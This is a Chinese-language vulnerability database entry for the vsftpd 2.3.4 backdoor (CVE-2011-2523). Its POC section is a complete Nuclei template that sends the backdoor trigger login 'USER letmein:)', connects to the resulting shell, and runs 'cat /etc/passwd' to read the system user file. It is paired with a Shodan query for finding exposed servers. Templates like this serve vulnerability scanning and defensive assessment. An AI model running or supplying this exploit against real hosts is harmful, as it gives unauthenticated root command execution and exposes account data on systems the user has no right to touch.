VSFTPD 234 - Backdoor Command Execution

漏洞信息

漏洞名称： VSFTPD 2.3.4 - Backdoor Command Execution

漏洞编号：

• CVE： CVE-2011-2523

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： VSFTPD是一个非常流行的FTP服务器软件，广泛用于Unix和Linux系统中，提供文件传输服务。由于其高效和稳定性，VSFTPD在企业和个人用户中都非常受欢迎。然而，VSFTPD 2.3.4版本中存在一个严重的后门漏洞，允许攻击者通过特定的用户登录请求字符串触发后门，从而在服务器上执行任意命令。这个漏洞的技术根源在于VSFTPD 2.3.4版本中故意植入的后门代码，该代码在接收到特定的字符序列时会绕过正常的认证流程，直接执行攻击者提供的命令。这种漏洞的影响极为严重，因为攻击者可以利用它获得root级别的访问权限，执行任意命令，包括但不限于数据泄露、服务中断、甚至完全控制系统。由于这是一个后门漏洞，攻击者无需任何认证即可利用，且可以自动化执行攻击，因此对使用受影响版本VSFTPD的系统构成了极大的安全威胁。

产品厂商： vsftpd_project

产品名称： vsftpd

影响版本： 2.3.4

搜索语法： product:”vsftpd”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/64a64b0937e369fef2cb769b4e48757616ecce15/network%2Fcves%2F2011%2FCVE-2011-2523.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2011-2523

info:
  name: VSFTPD 2.3.4 - Backdoor Command Execution
  author: pussycat0x, NaN@korelogic
  severity: critical
  description: |
    VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the FTP server.
  remediation: |
    Update to the latest version of VSFTPD, which does not contain the backdoor.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
    - https://www.exploit-db.com/exploits/49757
    - http://packetstormsecurity.com/files/162145/vsftpd-2.3.4-Backdoor-Command-Execution.html
    - https://access.redhat.com/security/cve/cve-2011-2523
    - https://security-tracker.debian.org/tracker/CVE-2011-2523
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2011-2523
    cwe-id: CWE-78
    epss-score: 0.94261
    epss-percentile: 0.99925
    cpe: cpe:2.3:a:vsftpd_project:vsftpd:2.3.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vsftpd_project
    product: vsftpd
    shodan-query: product:"vsftpd"
  tags: packetstorm,cve2011,network,cve,vsftpd,ftp,backdoor,vsftpd_project,tcp
variables:
  cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs
tcp:
  - host:
      - "{{Hostname}}"
    port: 21
    inputs:
      - data: "USER letmein:)\r\nPASS please\r\n"
        read: 100

  - host:
      - "{{Host}}:{{Port}}"
    inputs:
      - data: "{{cmd}}\n"
        read: 100
    matchers:
      - type: regex
        part: raw
        regex:
          - "root:.*:0:0:"
# digest: 4a0a004730450220161bb26071b1cbdaffb3622f32422ac741759c1a462af53331097950830eb3950221008a050a69933b28520d2a67881b249e72f2892b400bc5093c15c7baddc9d3d8cb:922c64590222798bb761d5b6d8e72950